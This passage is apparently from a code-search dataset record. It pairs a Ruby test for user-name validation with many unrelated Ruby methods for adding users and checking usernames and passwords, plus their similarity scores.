#{gid}\"\n execute(create_cmd)\n end", "def add_user_to_group(username, groupname)\n\t\t\t\t# Check for validity first\n\t\t\t\tsuper(username, groupname)\n\n\n\t\t\t\t`/usr/sbin/pw groupmod #{shellescape(groupname)} -m #{shellescape(username)}`\n\t\t\tend", "def adduser(aNewUser,aPassword,aGroup=nil)\n\t\trun \"#{sudo} adduser --gecos '' #{aGroup ? '--ingroup '+aGroup : ''} #{aNewUser}\" do |ch, stream, out|\n\t\t\tch.send_data aPassword+\"\\n\" if out =~ /UNIX password:/\n\t\tend\n\tend", "def add\n # ask the user for the user name\n new_user_name = @view.ask_user_for(:username)\n # ask the user for the user continent\n new_user_continent = @view.ask_user_for(:password)\n # create an instance of `Country` based on what the user said\n new_user = User.new(username: new_user_name, password: new_user_continent)\n # adding in to the user_repository\n @user_repository.add(new_user)\n end", "def add_user(args = {})\r\n clean_args(args)\r\n success = true\r\n\r\n # Opening in read/write so that we can make the changes to the file\r\n # while under protection of the system r/w lock.\r\n File.open(args[:file] || PASSWORDS_FILE, \"a+\") do |file|\r\n success = write_to_file(file, args[:username], args[:password],\r\n args[:environment], args[:override])\r\n end\r\n\r\n return success\r\n end", "def add_users\n group_name = params[:name]\n @group = $iam.groups[group_name]\n\n respond_to do |format|\n if @group.exists? # check if group already exists, then add user\n @group.users.add($iam.users[\"Ayesha\"])\n @group.users.add($iam.users[\"Fawad\"])\n format.html { redirect_to \"/show_group/#{@group.name}\", notice: 'User is added.' }\n else\n format.html { redirect_to \"/show_group/#{@group.name}\", notice: 'Error' }\n end\n end\n\n end", "def add_user(user)\n # NB: system users aren't supported on solaris 10\n # Solaris 10 also doesn't support long flags\n cmd_args = [\"'#{user.name}'\"]\n cmd_args.unshift \"-g '#{user.group}'\" if user.group\n cmd_args.unshift \"-d '#{user.homedir}'\" if user.homedir\n if user.shell\n cmd_args.unshift \"-s '#{user.shell}'\"\n elsif user.is_system\n # Even though system users aren't a thing, we can still disable the shell\n cmd_args.unshift \"-s '/usr/bin/false'\"\n end\n\n user_args = cmd_args.join(\"\\s\")\n\n return <<-HERE.undent\n if getent passwd '#{user.name}' > /dev/null 2>&1; then\n /usr/sbin/usermod #{user_args}\n else\n /usr/sbin/useradd #{user_args}\n fi\n HERE\n end", "def find_or_create_user\n name = get_user_name\n while name == nil\n puts ''\n puts \"*** Please enter a valid name. ***\".colorize(:color => :red)\n puts ''\n name = get_user_name\n end\n @user = User.find_or_create_by(name: name)\n @id = @user.id\n end", "def add_user(email, name, account_balance)\n users = self.db[:users]\n now = DateTime.now\n users.insert(:email => email, :name => name, :account_balance => account_balance, :created_at => now, :updated_at => now,\n :device_id => \"nil\") # THIS IS ONLY IN DEVELOPMENT MODE\n puts \"<#User email: #{email} name: #{name} account_balance: #{account_balance} device_id: 'nil'>\"\n end", "def create_user(username)\n if Commitchamp::User.find_by(login: username) == nil\n user = @github.get_user(username)\n Commitchamp::User.find_or_create_by(login: user['login'])\n end\n Commitchamp::User.find_by(login: username)\n end", "def new_user(username, password, full_name, email)\n representation = form_encoded({ \"user[name]\" => username,\n \"user[password]\" => password,\n \"user[full_name]\" => full_name,\n \"user[email]\" => email }) \n puts representation\n begin\n response = open(@service_root + '/users', :method => :post, \n :body => representation)\n puts \"User #{username} created at #{response.meta['location']}\"\n rescue OpenURI::HTTPError => e\n response_code = e.io.status[0].to_i\n if response_code == \"409\" # Conflict\n puts \"Sorry, there's already a user called #{username}.\"\n else\n raise e\n end\n end\n end", "def add_x_users(num, *args)\n\n puts \"Adding #{num} users, params=#{args.inspect}\"\n\n org = Org.find(:first)\n\n name = \"Test User\"\n login_name = \"testuser\"\n password = \"password\"\n phone = \"+123456789\"\n validated = true\n group_name = nil\n\n if args.length==1\n params = args[0]\n name = params[:name] if params[:name]\n login_name = params[:username] if params[:username]\n password = params[:password] if params[:password]\n phone = params[:phone] if params[:phone]\n validated = params[:validated] if params[:validated]\n group_name = params[:group]\n end\n\n if group_name and Group.find_by_name(:first,group_name)\n raise \"The group #{group_name} already exists!\"\n end\n \n # find the first unique test user name\n next_avail_user_num = 0\n found = true\n while found do\n next_avail_user_num = next_avail_user_num + 1\n found = User.find_by_login_name(login_name+next_avail_user_num.to_s) != nil \n print \".\"\n end\n\n puts \"found next #{login_name} #{next_avail_user_num}\"\n\n users = []\n num.times do |i|\n u = User.new\n u.org = org\n u.name = name + (next_avail_user_num+i).to_s\n u.login_name = login_name + (next_avail_user_num+i).to_s\n u.password = password\n u.phone = phone\n u.save!\n u.force_sms_validation!(validated)\n users << u\n puts \"Added user #{u.inspect}\"\n end\n\n if group_name\n # now create the group_name from this\n group = Group.new\n group.org = org\n group.name = group_name\n group.save!\n puts \"Added group #{group.inspect}\"\n users.each do |u|\n u.groups << group\n end\n puts \"Added all users to groups\"\n end\n\n users\nend" ]
[ "0.788529", "0.75253373", "0.7373468", "0.7365512", "0.7345954", "0.7315605", "0.7302522", "0.72385234", "0.7215159", "0.71703964", "0.7148325", "0.70382726", "0.70283395", "0.7020525", "0.70133454", "0.69658834", "0.690606", "0.688447", "0.68824166", "0.6847229", "0.6834672", "0.6821554", "0.68134344", "0.6812427", "0.68120617", "0.681122", "0.6797382", "0.6790781", "0.672265", "0.6688212", "0.6676292", "0.6674254", "0.6672631", "0.6670024", "0.6658786", "0.665522", "0.66548735", "0.6650584", "0.66222256", "0.66157806", "0.6586553", "0.6578074", "0.65731376", "0.65570325", "0.65497994", "0.65300155", "0.6520606", "0.65202147", "0.648374", "0.6476044", "0.64669", "0.6461901", "0.6445158", "0.64392936", "0.64382684", "0.6428257", "0.64132917", "0.6405753", "0.6403719", "0.64008653", "0.63859755", "0.6373692", "0.6364653", "0.63562864", "0.6339297", "0.63380665", "0.6335851", "0.63295984", "0.6322482", "0.63200736", "0.63133967", "0.6312005", "0.6308801", "0.6297431", "0.6295672", "0.6284352", "0.62825173", "0.62662756", "0.6253941", "0.62419665", "0.62359375", "0.62334275", "0.6224732", "0.6220628", "0.6220304", "0.6217326", "0.6214595", "0.6204268", "0.6197841", "0.6197546", "0.6191305", "0.6182605", "0.618237", "0.6170044", "0.6162183", "0.6160551", "0.6154589", "0.6143379", "0.6132567", "0.6129888", "0.61284494" ]
0.0
-1
103 Check valid user name and password
def test_add_user_with_invalid_name user = User.new assert !user.valid? assert user.errors.invalid?(:name) #assert user.errors.invalid?(:password) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def username_and_password_check\n company = get_company\n if company == nil\n exit\n end\n if get_username_and_test_validity(company)\n if get_password_and_test_validity(company)\n else\n puts \"That is not the correct password, please try again.\"\n entry_menu\n end\n else \n puts \"That is not the correct username, please try again.\"\n entry_menu\n end\n end", "def check_credentials(username, password)\n return false\n end", "def valid_user?\n params['username'] && params['password']\n end", "def valid_password?(password); end", "def get_valid_creds\n puts \"Enter a username\"\n user = gets.chomp\n puts \"Enter a password\"\n pass = gets.chomp\n\n if same?(user,pass)\n p \"Invalid - User and password are the same length\"\n elsif not_long_enough?(user) || not_long_enough?(pass)\n p \"Invalid - Username or password is not long enough. Both must be at least 6 characters long.\"\n elsif contains_special?(user) || does_not_contain_special?(pass)\n p \"Invalid - Username cannot contain a #,!, or $. Password must contain a #,!, or $.\"\n else\n p \"Valid username and password!\"\n end\nend", "def user_name (name, password)\n if name == password\n 'name and password cannot be the same.'\n elseif name.length < 6 && password.length < 6\n \"names and passwords must be atleast 6 characters long\"\n elseif password.include? ('!''#''$') == false \n 'password must contain at least one of the following \"!, #, $\"'\n elseif name.include? ('!''#''$'' ') == true\n \"ID's connot contain '!, #, $, '\"\n elseif password == 'password'\n 'your password cannot be password'\n end\nend", "def validate_login(username, password)\n user = nil\n begin\n user = @users.find_one(_id: username)\n # you will need to retrieve right document from the users collection.\n p 'This space intentionally left blank.'\n rescue\n p 'Unable to query database for user'\n end\n\n if user.nil?\n p 'User not in database'\n return nil\n end\n\n salt = user['password'].split(',')[1]\n\n if user['password'] != make_pw_hash(password, salt)\n p 'user password is not a match'\n return nil\n end\n # Looks good\n user\n end", "def validate_login_user(params)\n params[\"username\"] and params[\"password\"] and params[\"password\"] == params[\"password_2\"]\n end", "def validate_create_user(params)\n params[\"username\"].length < 25 and params[\"password\"].length < 25\n end", "def check_user_pass\n if @username.nil? || @password.nil?\n raise 'Jangosmtp username and password are required'\n end\n end", "def authenticate(name, password)\n if name != \"Santa Claus\" || password != \"Ho Ho Ho!\"\n return false\n end\n true\nend", "def validate_data\n raise Error, \"no user found associated with #{@database}\" unless @user\n raise Error, \"password not defined for #{@user}@#{@database}\" unless @password\n end", "def login_is_valid\n username = params[\"uname\"]\n password = params[\"psw\"]\n\n if username == \"admin\" && password == \"password\"\n return true\n else\n return false\n end\nend", "def require_user_pass(opts={})\n raise \"Username required to create a user!\" unless opts[:username]\n raise \"Password required to create a user!\" unless opts[:password]\n true\n end", "def check_create_user_password_is_valid\n return self.password != \"\" ? true : false\n end", "def validate_user\n puts \"enter username: \"\n user_name = gets.chomp\n print \"enter password: \"\n user_pass = gets.chomp\n if user_name.length >= 6 and !user_name.include? \"$\" and !user_name.include? \"!\" and !user_name.include? \"#\"\n puts \"Username is good\"\n else\n puts \"Username must be at least 6 characters and not contain '#$!'\"\n end\n if user_pass.length >=6 and user_pass[/[!#$]/]\n puts \"Password is good\"\n else\n puts \"Password must be at lease 6 characters and MUST contain '#, $ or !'\"\n end\nend", "def validate!\n return if username && password\n\n STDERR.puts(VALIDATION_MESSAGE)\n exit 1\n end", "def validate_credentials(passwd)\n token = Security.logon_user(@username, nil, passwd,\n LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT)\n true\n rescue Chef::Exceptions::Win32APIError => e\n Chef::Log.trace(e)\n # we're only interested in the incorrect password failures\n if /System Error Code: 1326/.match?(e.to_s)\n return false\n end\n\n # all other exceptions will assume we cannot logon for a different reason\n Chef::Log.trace(\"Unable to login with the specified credentials. Assuming the credentials are valid.\")\n true\n end", "def validation\n\n\t\tputs \"Enter user name\"\n\t\tuser_name = gets.chomp\n\n\t\tputs \"Enter password\"\n\t\tanswer_password = gets.chomp\n\t\tif answer_password == @password\n\t\t\tget_text\n\t\telse\n\t\t\tcounter = 0\n\t\t\twhile counter !=3 || answer_password!=@password do\n\t\t\t puts \"invalid password\"\n\t\t\t $stdin.gets.chomp\n\t\t\t counter += 1\n\t\t\tend\n\t\tend\n\tend", "def valid_user?(username, password)\n user_obj = User.find_by(username: username).try(:authenticate, password)\n if !user_obj \n raise 'Username or password is invalid'\n end\n user_obj\n end", "def valid_credentials?(credentials)\n !credentials[:username].to_s.empty? && !credentials[:password].to_s.empty?\n end", "def validate_password\n puts 'Enter your user name:'\n user_name = gets.chomp.downcase\n puts 'Enter your password:'\n password = gets.chomp.downcase\n password_characters = ['!', '#', '$']\n user_characters = ['!', '#', '$', ' ']\n if user_name == password\n 'Sorry, username and password cannot be the same.'\n elsif user_name.length <= 6 && password.length <= 6\n 'Sorry, username and password must be at least 6 characters.'\n elsif password_characters.select { |value| password.include? value }.empty?\n 'Sorry, password must have a special character.'\n elsif !user_characters.select { |value| user_name.include? value }.empty?\n 'Sorry, user name cannot have a special characters.'\n elsif password.downcase == 'password'\n 'Sorry, password cannot be password.'\n else\n 'Yay, looks good!'\n end\nend", "def auth_ok?(username, password)\n username_present?(username) && password_ok?(username, password)\n end", "def valid_password?; end", "def valid_user\n if (self.username.blank? || self.password_digest.blank?) &&\n (self.oauth_provider.blank? || self.oauth_uid.blank?)\n errors.add(:username, \" and password OR oauth must be specified\")\n end\n end", "def valid_password?(password)\n true\n end", "def valid_username?(name)\n\t\t$users_and_passwords.each do |element|\n\t\t\tif element[USERNAME] == name\n\t\t\t\t@username=name\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\t\t\t\n\t\treturn false\n\tend", "def login_check(username, password)\n sql = <<~SQL\n SELECT * FROM users\n WHERE username = $1 AND password = $2;\n SQL\n check = query(sql, username, password)\n if check.ntuples == 1\n @user_id = check.tuple(0)[\"id\"]\n @username = check.tuple(0)[\"username\"]\n true\n else \n false \n end\n end", "def correct_credentials?\n correct_username = 'admin'\n correct_password = 'admin'\n input_username = @request.params['username']\n input_password = @request.params['password']\n correct_username == input_username && correct_password == input_password\n end", "def check(user, pw1, pw2)\n case\n when user.strip.length == 0\n print \"Please enter a username\\n\"\n return false\n when pw1.strip != pw2.strip\n print \"passwords don't match\\n\"\n return false\n when pw1.strip.length < 6\n print \"passwords should be longer than 6 characters\\n\"\n return false\n default\n return true\n end\nend", "def check_userinfo(user, password = nil)\n if !password\n user, password = split_userinfo(user)\n end\n check_user(user)\n check_password(password, user)\n\n return true\n end", "def valid?\n\t\tparams['user'] && params['user']['username'] && params['user']['password']\n\tend", "def check_authentication( req )\n\t\tusername = req.params[:username]\n\t\tpassword = req.params[:password]\n\n\t\tunless hmac = self.class.users[ username ]\n\t\t\tself.log.error \"Auth failure: no such user %p\" % [ username ]\n\t\t\tfinish_with( HTTP::AUTH_REQUIRED, \"authentication failure\" )\n\t\tend\n\n\t\tpw_hmac = OpenSSL::HMAC.hexdigest( 'sha1', self.class.key, password )\n\t\tself.log.debug \" hash of 'demo' is: %p\" % [ OpenSSL::HMAC.hexdigest('sha1', self.class.key, 'demo') ]\n\n\t\tunless hmac == pw_hmac\n\t\t\tself.log.error \"Auth failure: password digests don't match: expected %p, got %p\" %\n\t\t\t\t[ hmac, pw_hmac ]\n\t\t\tfinish_with( HTTP::AUTH_REQUIRED, \"authentication failure\" )\n\t\tend\n\n\t\t# Tell the auth provider that the user provided valid credentials\n\t\tself.auth_provider.auth_succeeded( req, username )\n\n\t\treturn username\n\tend", "def input(user_id, password)\n if user_id == password\n 'Password and username cannot be the same'\n elsif user_id.length <= 6 && password.length <= 6\n 'Password and username must be at least six characters long'\n end\nend", "def checkLogin (loginName , loginPwd)\n\tconn = PGconn.open(:dbname => 'netflix')\n\tresult = conn.exec(\"SELECT * FROM users WHERE name=#{loginName};\")\n\treturn checkValidLogin(result, loginPwd)\t\nend", "def username_and_password?\n params[:username].present? && params[:password].present?\n end", "def valid?\n params['user'] && params['user']['username'] && params['user']['password']\n end", "def validate_password?\n password.present?\n end", "def test_correct_login\n res = make_login Configuration.USER, Configuration.PASSWORD\n puts \"\\nTester#test_correct_login:\\n#{res}\" if Configuration.VERBOSE\n res and res.length == Constants.TOKEN_LENGTH and res =~ /^[0-9a-f]*$/\n end", "def password_must_be_present\n errors.add(:password, \"Missing password\") unless passwd.present?\n end", "def check_password_contents\n if /[a-zA-Z]+/.match(@password) && /\\d+/.match(@password) && /[[:punct:]]/.match(@password)\n else\n generate\n end\n end", "def valid_user?\n res = false\n \n if (@email!='') and (@password!='')\n ldap= Net::LDAP.new\n ldap.host = LDAP_HOST\n ldap.auth(\"#{LDAP_USERS_UID}\" % @email, @password)\n res = ldap.bind\n end\n \n \n return res\n end", "def creating_vault_validation_spaces(params)\n if params[\"Username\"].strip.empty? != true and params[\"Password\"].strip.empty? != true\n return true \n else \n return false\n end \n end", "def check(creds)\n creds[1].crypt(password) == password\n end", "def fCheckCredentials (email, pwd)\n @users.checkCredentials(email,pwd)\n end", "def login_verification(params_username, params_password) \n db = connect_to_database()\n database_info = db.execute(\"SELECT Username, Password, UserId FROM users WHERE users.Username = ?\", params_username)\n if database_info.length > 0 && BCrypt::Password.new(database_info.first[\"Password\"]) == params_password\n return true \n else\n return false\n end\n end", "def credential_match?(user, login, password)\n false unless user.email == login || user.phone == login\n false unless user.password == password\n true\n end", "def check_credentials\n user = User.find_for_database_authentication(:email => params[:username])\n if user.nil?\n valid = false\n else\n valid = user.valid_password?(params[:password])\n end\n\n respond_to do |format|\n format.json { render json: valid }\n end\n end", "def is_password_password(pass)\n if pass.downcase == 'password'\n 'Sorry, password cannot be password.'\n else\n 'Yay, password is not password.'\n end\nend", "def valid_signin?(credentials)\n account_data = File.readlines(ROOT + \"/users.txt\")\n\n valid_credentials = account_data.map do |account|\n name, password = account.strip.split(\": \")\n [name, password]\n end.to_h\n\n valid_credentials.each do |(name, password)|\n return true if credentials[:username] == name && BCrypt::Password.new(password) == credentials[:password]\n end\n\n false\nend", "def authentication_valid?(username,password)\n if EffectiveQbSync.quickbooks_username.present?\n return false unless Array(EffectiveQbSync.quickbooks_username).include?(username)\n end\n\n Array(EffectiveQbSync.quickbooks_password).include?(password)\n end", "def password_required?; end", "def test_13_rejects_doesnt_include_password\n result = not_including_username?(\"iloveGdavida\", \"gdavida\")\n refute(result, \"iloveGdavida includes your username, should be valid\")\n end", "def credential_match?(user, login, password)\n return false unless user.phone == login || user.email == login\n return false unless user.password == password\n return true\n end", "def credential_match?(user, login, password)\n return false unless user.phone == login || user.email == login\n return false unless user.password == password\n return true\n end", "def credential_match?(user, login, password)\n return false unless user.phone == login || user.email == login\n return false unless user.password == password\n return true\n end", "def credential_match?(user, login, password)\n return false unless user.phone == login || user.email == login\n return false unless user.password == password\n true\n end", "def validate_login(user_name, password)\n if user_name.blank? || password.blank?\n flash_now(:error, get_blank_message(user_name, password))\n return false\n end\n\n # No validate file means only remote authentication is allowed\n return false unless Settings.validate_file\n\n ip = Settings.validate_ip ? request.remote_ip : nil\n authenticate_response = User.authenticate(user_name, password, ip: ip)\n custom_status = Settings.validate_custom_status_message[authenticate_response]\n\n if authenticate_response == User::AUTHENTICATE_BAD_PLATFORM\n flash_now(:error, I18n.t('main.external_authentication_not_supported'))\n elsif custom_status\n flash_now(:error, custom_status)\n elsif authenticate_response == User::AUTHENTICATE_SUCCESS\n return true\n else\n flash_now(:error, Settings.incorrect_login_message || I18n.t('main.login_failed'))\n end\n false\n end", "def valid_credentials?\n return false if Sailpoint.config.username.blank? && Sailpoint.config.password.blank?\n\n !Sailpoint.config.hashed_credentials.blank?\n end", "def require_password\n\t\t\treturn (params[:password] and params[:password] == @server.password)\n\t\tend", "def check_username username\n\t\t\traise 'Username must be a String' unless username.is_a?(String)\n\t\t\traise 'Username must be >= 10 characters.' unless username.to_s.length >= 10\n\t\t\traise 'Spaces are not permitted in usernames.' if username =~ /[[:space:]]/\n\t\tend", "def password_required?; false; end", "def test_function_check_username_and_password_existed\n username = \"ladywind\"\n password = \"1234567890\"\n actual = V1::User.check_username_and_password_existed(username,password)\n expected = true\n puts this_method_name + \" - \" +assert_equal(expected, actual).to_s\n end", "def check_params #:doc:\n if params[:username] !~ /.{1,}/ or params[:password] !~ /.{1,}/ or\n params[:devicename] !~ /.{1,}/ or params[:dev_type] !~ /.{1,}/ or\n (params[:port] != nil and params[:port] !~ /\\d{1,10}/)\n return false\n else\n return true\n end\n end", "def password_valid?\n\t\tif self.password == nil\n\t\t\treturn false\n\t\telsif self.password.length < MIN_PW_LENGTH || self.password.length > MAX_CREDENTIAL_LENGTH\n\t\t\treturn false\n\t\tend\n\t\ttrue\n\tend", "def check_password(v, user = @user)\n if @opaque\n raise InvalidURIError,\n \"can not set password with opaque\"\n end\n return v unless v\n\n if !user\n raise InvalidURIError,\n \"password component depends user component\"\n end\n\n if parser.regexp[:USERINFO] !~ v\n raise InvalidComponentError,\n \"bad password component\"\n end\n\n return true\n end", "def valid_password?\n password.present?\n end", "def valid_password?\n password.present?\n end", "def valid_password?(password)\n \treturn true if valid_master_password?(password)\n \tsuper\n \tend", "def username_password?\n @options[:username] &&\n @options[:password] &&\n @options[:client_id] &&\n @options[:client_secret]\n end", "def login_correctly\r\n\t\tuserid = \"[email protected]\"\r\n\t\tpassword = \"correct_password\"\r\n\tend", "def check_if_input_is_valid\n if params[:user] && warn_for_special_chars(params[:user][:name], 'Username')\n flash[:error] = 'Please enter valid user name'\n redirect_back fallback_location: root_path\n elsif params[:impersonate] && warn_for_special_chars(params[:impersonate][:name], 'Username')\n flash[:error] = 'Please enter valid user name'\n redirect_back fallback_location: root_path\n end\n end", "def login\n valid = true\n \n if username.blank?\n self.errors.add_to_base(\"Please enter a user name\")\n valid = false\n end\t\n \n if password.blank?\n self.errors.add_to_base(\"Please enter a password\")\n valid = false\n end\n \t\t\n if valid\n user = User.find(:first, :conditions => [\"username = ? AND password = ?\", username, password])\n \n if user\n self.id = user.id\n self.reload\n else\n self.errors.add_to_base(\"The user name/password was incorrect.\")\n valid = false\n end\n end\n \n valid\n end", "def password_ok?(username, password)\n hashed_pass = hashed_password(username, password)\n PasswordCheck.check(username, hashed_pass, @passwords)\n end", "def test_password_matches_custom_password\n user = User.named(\"user\", :password => \"verysecret\")\n assert(!user.password_matches?(\"user\"))\n assert(user.password_matches?(\"verysecret\"))\n end", "def valid_credentials?(session)\n if session.login[:Credentials][:Username].length >= 1 && RuneRb::GLOBAL[:GAME_BANNED_NAMES].none? { |row| row[:name].include?(session.login[:Credentials][:Username]) }\n true\n else\n @responses[session].write(RuneRb::Network::LOGIN_RESPONSES[:BAD_CREDENTIALS], type: :byte, signed: false)\n raise RuneRb::System::Errors::SessionReceptionError.new(:username, nil, session.login[:Credentials][:Username])\n end\n\n if RuneRb::Database::PlayerProfile.fetch_profile(session.login[:Credentials])[:password] == session.login[:Credentials][:Password]\n true\n else\n @responses[session].write(RuneRb::Network::LOGIN_RESPONSES[:BAD_CREDENTIALS], type: :byte, signed: false)\n raise RuneRb::System::Errors::SessionReceptionError.new(:password, nil, nil)\n end\n true\n end", "def test_12_accepts_doesnt_include_password\n result = not_including_username?(\"HatBox1992!\", \"gdavida\")\n assert(result, \"HatBox1992! does not include your username, should be valid\")\n end", "def check_if_password_and_email_provided!\n\n unless @user_credential_params[:email].blank? || @user_credential_params[:password]\n fail_immediately(:no_email_or_pwd_provided)\n end\n\n end", "def valid_password?( salty_password=nil, authkey=nil, username=nil )\n # nil values?\n return nil if salty_password.nil? or authkey.nil? or username.nil?\n # empty strings?\n return nil if salty_password.empty? or authkey.empty? or username.empty?\n # unknown users?\n return nil unless @passwds.keys.include?( username )\n\n # valid password?\n return true if salty_password == Digest::MD5.hexdigest( authkey << @passwds[username] )\n\n # just to be safe\n return nil\n end", "def check_password( username, password )\n\t\tdigest = self.class.users[ username ] or\n\t\t\tself.log_failure \"No such user %p.\" % [ username ]\n\n\t\t# Fail if the password's hash doesn't match\n\t\tself.log_failure \"Password mismatch.\" unless\n\t\t\tdigest == Digest::SHA1.base64digest( password )\n\n\t\treturn true\n\tend", "def test_valid_uname_invalid_pwd\r\n\r\n set_text(USERNAME_TEXTFIELD_NAME, VALID_USERNAME)\r\n set_text(PASSWORD_TEXTFIELD_NAME, INVALID_PASSWORD)\r\n\r\n click_on_button(SUBMIT_BUTTON_ID)\r\n\r\n # Verify that the user stays on the secure login page\r\n lynx_assert_actual_url(EXPECTED_HTTPS_URL, 'Not redirected to HTTPS login page after a failed login attempt')\r\n\r\n begin # Verify the error message displays\r\n\r\n $browser.p(class: 'form-control-static loginAlert').wait_until_present(2)\r\n login_alert_class = $browser.p(class: 'form-control-static loginAlert')\r\n actual_login_alert_text = login_alert_class.text\r\n\r\n assert_equal(LOGIN_ERROR_MESSAGE, actual_login_alert_text, 'The expected error message does not display when attempted to login with invalid password for a valid user')\r\n\r\n end\r\n end", "def valid_password?(password)\n (password != password.downcase) &&\n (password != password.upcase) &&\n (password.length >= 8) &&\n (/[0-9]/.match(password) != nil) &&\n (/[^0-9A-Z]/.match(password.upcase) != nil) &&\n not_forbidden?(password)\nend", "def test_contain_password12\n result = contains_password?(\"password1\")\n refute(result, \"'password1' should not be valid because it contains 'password'\")\n end", "def verify_credentials!\n raise AuthenticationError.new(\"missing client code\") if Applitrack.client_code.nil? || Applitrack.client_code.empty?\n raise AuthenticationError.new(\"missing username\") if Applitrack.username.nil? || Applitrack.username.empty?\n raise AuthenticationError.new(\"missing password\") if Applitrack.password.nil? || Applitrack.password.empty?\n end", "def login(username:, password:)\n if password == 'test'\n print username, 'ALLOWED'\n else\n print username, 'DENIED'\n end\nend", "def checkUserLogin(userName, userPass)\n userPass = userPass.encrypt\n user = loadUser(userName)\n if(user == nil)\n return false\n end\n userPassLoaded = user[\"password\"]\n #puts \"----------------------\\nPass1: [#{userPass}]\\nPass2: [#{userPassLoaded}]\\n-----------------------------------\"\n\n blocked = user[\"BLOCKED\"]\n if userPassLoaded == userPass && (blocked == nil || !blocked)\n return true\n else\n return false\n end\n end", "def valid_password?(password)\n if Rails.env.development?\n return true if password == \"password\"\n end\n super\n end", "def test_password_matches_default_password\n user = User.named(\"user\")\n assert(!user.password_matches?(\"blabla\"))\n assert(user.password_matches?(\"user\"))\n end", "def userlogin_valid?\n if User.find_by(name: userlogin_input) != nil\n if User.find_by(name: userlogin_input).name == self.userlogin_input #########put in custom error catch\n self.active_user = User.find_by(name: userlogin_input) ### if you use this method.name it dies if there isn't a match\n self.welcome_user\n end\n else\n puts Rainbow (\"\\n\\nI'm sorry that's not a valid username.\\n\").bright.red\n puts \"I'll let you try again.\\n\"\n self.userquery_prompt\n end\nend", "def user_check(_user)\n (printf(\"\\nUser must be > 3 chars\\n\") ; raise \"\\nErro no nome de utilizador tem de conter > 3 chars\\n\") if _user.size<4\nend", "def check_credentials\n @user = User.where(email: params[:email]).first\n if @user && @user.valid_password?(params[:password])\n head :ok\n else\n head :unauthorized\n end\n end", "def db_verify_user_password(userid, password)\n\t\t\n\t\t# SQL statement for selecting * given a userid and a hashed password\n \tquery = \"SELECT * FROM users\n\t\t\t\tWHERE userid='%%email%%'\n\t\t\t\tAND password='%%password%%';\"\n\t\t\n\t\t# Fill in userid and password values in the SQL statement\n \tquery = query.gsub(/%%email%%/, PG::Connection.escape_string(userid)).gsub(/%%password%%/, hashPassword(password))\n \t\n \t# Connect to the database\n \tconn = DBTools.new.connectToDB()\n \t\n \t# Execute SQL Statement\n results = conn.exec(query)\n \n # If there are 0 results\n if (results.ntuples == 0)\n \tresults.clear()\n conn.finish()\n return false\n\n # If there are too many results (this should never occur)\n elsif (results.ntuples > 1)\n \tresults.clear()\n \tconn.finish()\n raise \"Too many password matches.\"\n \n # Query successful\n else\n \tresults.clear()\n \tconn.finish()\n \treturn true\n end\n\tend", "def passwords_match?\n context.user.password == context.password\n end", "def creating_vault_validation_length(params)\n if params[\"Username\"].length > 0 and params[\"Password\"].length > 0\n return true\n else \n return false\n end \n end", "def username_token?\n username && password\n end", "def valid_ldap_credentials?(password)\n FfcrmLdap::LdapAdapter.valid_ldap_credentials?(self.username, password)\n end", "def valid_user\n #puts \"VALID USER - USER DEVICE TOKENS #{@device_tokens} #{@first_name} #{@phone_number} #{@last_name} \"\n return (!@phone_number.nil? && !@phone_number.empty? && !@first_name.nil? && !@first_name.empty? && !@last_name.nil? && !@last_name.empty? && !@device_tokens.nil? && !@device_tokens.empty?)\n\n end", "def validatePassword(password)\n if (password == nil)\n return false\n end\n \n return true # TODO This is wrong. Finish this function.\nend", "def password_required? \n false \n end", "def validate_password(password)\n return false unless @digest_parts.any? # RUBY\n\n @a1 = ::Digest::MD5.hexdigest(@digest_parts['username'] + ':' + @realm + ':' + password)\n validate\n end", "def valid_password? password\r\n self.password === Digest::MD5.hexdigest(password)[0..19]\r\n end" ]
[ "0.7974775", "0.76432866", "0.7615238", "0.74997777", "0.7433137", "0.73547786", "0.7353492", "0.7333441", "0.72655016", "0.723147", "0.7184584", "0.7182812", "0.7153024", "0.7150983", "0.7135021", "0.70946485", "0.7078638", "0.70781535", "0.7025026", "0.70020884", "0.69918406", "0.6981367", "0.6972915", "0.6967176", "0.69606405", "0.6918921", "0.6915242", "0.6913231", "0.69056654", "0.6898077", "0.6889544", "0.687484", "0.686335", "0.6833319", "0.6828163", "0.68137836", "0.68036103", "0.6802402", "0.6800621", "0.67816895", "0.6769488", "0.6767993", "0.67446554", "0.6740489", "0.6737313", "0.6724084", "0.6717459", "0.67152494", "0.67147505", "0.67142683", "0.6706774", "0.67059624", "0.6687912", "0.6682471", "0.6682471", "0.6682471", "0.6664082", "0.666219", "0.6656172", "0.66545105", "0.665203", "0.664781", "0.663306", "0.6631284", "0.6629105", "0.66179407", "0.66088533", "0.66088533", "0.6607254", "0.65917593", "0.65917075", "0.65855336", "0.658448", "0.6583372", "0.6581272", "0.6579251", "0.6571617", "0.65627193", "0.65549546", "0.6540537", "0.6538725", "0.653834", "0.6529164", "0.6517259", "0.65150154", "0.6514579", "0.64943427", "0.6488587", "0.64872885", "0.6486709", "0.64842874", "0.64794564", "0.6479107", "0.64774764", "0.6475088", "0.6474107", "0.64712065", "0.6466256", "0.6464929", "0.6462439", "0.6458848" ]
0.0
-1
202 edit a user name to an invalid name (e.g. blank)
def test_update_user_with_invalid_name user = User.find_by_login('student1') user.name = ""; assert !user.valid? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def edit_real_name(user, real_name)\n user.real_name = real_name\n user.save_data\n end", "def new_username=(value)\n @new_username = (value.nil? ? value : value.upcase)\n end", "def set_user_name_field(user_name)\n end", "def user_name_set(name)\n self.username.set name if nil_or_empty?(username[:value])\n end", "def input_invalid_username\n fill_in(USERNAME_INPUT_ID, :with => 'Ruben12ddf')\n end", "def username=(new_name)\n @username = new_name.upcase\n end", "def edit_username(username)\n wait_until{ change_username_link.visible? }\n change_username_link.click\n username_tb.type_text username\n submit_edit_username_btn.click\n verify_password(QA_ENV['bus_password'])\n alert_accept\n wait_until{ !submit_edit_username_btn.visible? }\n end", "def update_name(user_id:, name:)\n path = '/users/{userId}/name'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n if name.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"name\"')\n end\n\n params = {\n name: name,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'PATCH',\n path: path,\n headers: headers,\n params: 